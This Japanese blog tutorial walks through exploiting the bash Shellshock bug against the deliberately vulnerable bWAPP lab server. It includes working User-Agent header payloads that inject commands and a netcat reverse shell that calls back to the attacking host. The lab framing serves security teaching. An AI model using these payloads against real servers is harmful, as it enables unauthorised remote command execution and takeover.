bash の脆弱性 Shellshock を利用し CGI 環境を使用した Webサーバを攻撃する方法

WEBアプリケーション

この記事では、bWAPP に存在する bash の脆弱性「Shellshock」を突いた攻撃が実際に行われる流れを紹介します。

なお、以下の環境で擬似ハッキングを行います。

役割端末IP アドレス
攻撃端末Kali linux10.0.0.106
ターゲット端末bee-box (bWAPP)10.0.0.105

bWAPP のインストールについては以下記事をご覧ください。

Shellshock とは?

bash という Linux で広く使用されているシェル(コマンドライン)に存在する脆弱性で、この bash の環境変数の処理に問題があるため、攻撃者が遠隔で任意のコマンドを実行できてしまいます。

Linux ベース組み込みシステム以外にも、Web サーバ上で動作する CGI プログラムで bash を呼び出している場合にも影響を受けます。

CGI とは WEB サーバ上で実行されるプログラムの仕組みです。
例えば、アクセス解析の用途で訪問者をカウントしたい場合には、環境変数(User-Agent や Referer 等)をプログラムに引き渡してカウントするといったことが可能になります。

この CGI プログラムそのものを シェルスクリプトで作成している場合や、CGI プログラム内に bash を呼び出すようなコマンドが記述されている場合に影響を受けます。

実際にどういった流れで攻撃が行われるかを確認しながら、理解を深めていきたいと思います。
bWAPP にはこの脆弱性が存在しているため、自環境で shellshock に対して攻撃を行ってみます。

bWAPP の Shellshock Vulnerability (CGI) ページを開く

Shellshock Vulnerability (CGI) 攻撃を行うため、bWAPP の該当ページを表示します。

Kali で Firefox を起動し URL 部に「http://10.0.0.105/bWAPP」を入力し、 bWAPP にアクセスします。

bWAPP のログインページが開くので以下の通り入力し、ログインします。

Login: bee
Password: bug
Set the security level: low

以下の画像のように「Choose your bug:」箇所から”Shellshock Vulnerability (CGI)”を選択し Hack をクリックします。

クリック後以下のページが表示されます。
このページで shellshock を突いた攻撃を行います。

Shellshock Vulnerability (CGI) ページのソースコードを確認する

より理解を深めるため、攻撃を行う前にこのページが bash を呼び出すコードとなっているかを確認します。

まず、ソースコードを表示します。
Firefox の場合、右クリックから「View Page Source」をクリックすればソースコードが表示されます。

ソースコードの中から「The version of ~~」を記述している箇所は、以下になります。

<div id="main">

    <h1>Shellshock Vulnerability (CGI)</h1>
	
    <p>The version of Bash is vulnerable to the Bash/Shellshock bug! (<a href="http://sourceforge.net/projects/bwapp/files/bee-box/" target="_blank">bee-box</a> only)</p>

    <p>HINT: attack the referer header, and pwn this box...</p>

    <iframe frameborder="0" src="./cgi-bin/shellshock.sh" height="200" width="600" scrolling="no"></iframe>
 
</div>

WEBページに表示されている「This is my first Bash script ~~」の記述がソースコード上には見つかりませんが、この箇所は「”./cgi-bin/shellshock.sh”」というシェルスクリプトで表示させていると推測できます。
このシェルスクリプトを URL 部に入力してアクセスしてみます。

すると上記のように「This is my first Bash script ~~」箇所がページ上に表示されました。このことから、シェルスクリプトで該当箇所のページ表示を行っていることがわかりました。

このように、プログラムを実行することで WEB ページの表示を行っている仕組みを、先程説明した「CGI」と言います。

更にこの場合は CGI プログラム自体がシェルのため、shellshock の脆弱性に該当する可能性があります。

shellshock の脆弱性があるか確認する

実際に脆弱性が存在するか確認するために、攻撃コードを含んだ HTTP リクエストヘッダを送信し挙動を見てみます。

HTTP リクエストヘッダの送信は、burp というプロキシツールで行います。

Kali から bWAPP に対する通信を Burp で一旦受け、Burp 側でリクエストヘッダを書き換えます。

Burp を起動する

まずは Kali で Burp を起動します。検索ウィンドウに Burp と入力すると「burpsuite」というアプリケーションが見つかるので、これをクリックします。
※警告メッセージが出力された場合はOKをクリックしてください。

起動後、以下の画面が表示されます。Next をクリックします。

以下の画面が表示されるので、Start Burp をクリックします。

Burp でプロキシ設定を行う

Burp のプロキシ設定を確認します。
「Proxy > Options」でプロキシ設定を確認できます。
攻撃端末(Kali)に Burp がインストールされている状態なので、IP アドレスは 127.0.0.1 のままで問題ないです。
ポート番号 8080 は他のソフトウェアで使用している可能性があるので、9500 に変更しました。

Firefox でプロキシ設定を行う

Firefox での通信が Burp を介するよう、以下のようにプロキシの設定を行います。

Burp で通信を Intercept (捕捉) する

「Shellshock Vulnerability (CGI)」ページのシェルスクリプトへの通信を Intercept し、その通信内容を書換えます。

まず、Firefox で「http://10.0.0.105/bWAPP/cgi-bin/shellshock.sh」にアクセスします。すると以下画面が開かれ、通信が Intercept されたことがわかります。

Intercept した通信を書き換える

通信を Intercept した画面で右クリックし「Send to Repeater」をクリックします。

Repeater タブに移動すると、Intercept した通信内容が表示されていることがわかります。この画面で HTTP リクエストヘッダを編集し「Send」ボタンをクリックすることで、書き換えた内容で WEB サーバに HTTP リクエストを送信することができます。

先述しましたが、shellshock は bash の環境変数の処理に問題があることで攻撃が行われます。
bash 特有の機能で環境変数に関数を定義できるのですが、bash 起動時に環境変数を読み込む処理にバグがあり、関数定義の後ろに記述されたコードまで実行してしまいます。

HTTP リクエストヘッダの一部である「User-Agent」や「Referer」(この通信にはない)は環境変数として WEB サーバに渡されるため、これらに攻撃コードを仕込むことで攻撃が成立します。

例えば「User-Agent:」で説明すると、「:」以降の文字列が環境変数としてセットされます。
しかし、以下のように変更するだけで、shellshock の脆弱性がある場合攻撃が成立します。

User-Agent: () { :; }; echo; /bin/echo "shell shock"

まず、「() { :; }」部が関数定義にあたります。「:」の箇所は何かしらの文字列が入っていれば何でも問題ないです。
「() { :; }」部より後ろの「;」で区切られた以降のコードまで実行されてしまうのが shellshock の脆弱性です。

何パターンか「User-Agent:」の値を変えて検証したところ、結果は以下の通りとなりました。

【パターン1】

User-Agent: () { :; }; echo; /bin/echo "shell shock"

レスポンスコード200が返ってきて、ページ表示も echo で指定した shell shock となっているため、攻撃が成功しています。
このことから、shellshock の脆弱性が存在していることがわかります。

【パターン2】

User-Agent: () { :; }; echo; echo "shell shock"

レスポンスコード200が返ってきて、ページ表示も echo で指定した shell shock となっていますが、HTML コードの生成も行われています。
「/bin/echo」とした場合はシェルスクリプトの処理が走りませんでしたが、「echo」とした場合はシェルスクリプトの処理も行われるようです。

【パターン3】

User-Agent: () { :; }; /bin/echo ; /bin/echo "shell shock"

レスポンスコード200が返ってきましたが、2つめの echo で指定した”shell shock”は表示されませんでした。
どうやら、「/bin」でコマンドを指定した場合は以降の処理は実行されないようです。

【パターン4】

User-Agent: () { :; }; echo "shell shock" ; /bin/echo "shell shock"

レスポンスコード500(サーバ側のエラーコード)が返ってきて、ページ表示は行われませんでした。
1つ目の echo で文字列を指定すると、エラーとなるようです。

【パターン5】

User-Agent: () { :; }; echo ; /bin/ls

レスポンスコード200が返ってきて、echo の後に記述したコマンド結果がページ上に表示されました。

以上の結果から、関数定義の1つ後は「echo」固定で、その後「;」で区切られた後にコマンドを記述することで、そのコマンドが実行されるようです。

shellshock を利用しリバースシェルによるセッションの確立を行う

どういった内容のリクエストヘッダを送信すれば shellshock の脆弱性を突いた攻撃が行えるかはわかりました。
ここでは、shellshock を利用してリバースシェルによりセッションの確立を行う方法を紹介します。

まず、Kali のターミナルを起動して Netcat によりポート5050を待ち受け状態にします。
以下コマンドを実行します。

nc -nvlp 5050
root@kali:~# nc -nvlp 5050 
listening on [any] 5050 ...

次に、burp で「User-Agent:」を以下に変更し、HTTP リクエストを送信します。

User-Agent: () { :; }; echo ; /bin/nc -e /bin/bash 10.0.0.106 5050

するとセッションが確立され、Kali のターミナル上で bee-box の操作を行えるようになります。

root@kali:~# nc -nvlp 5050 
listening on [any] 5050 ...

connect to [10.0.0.106] from (UNKNOWN) [10.0.0.105] 35780

whoami ←入力コマンド
www-data ←返ってきた値

このように、shellshock を利用することで様々な攻撃が行えるようになります。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました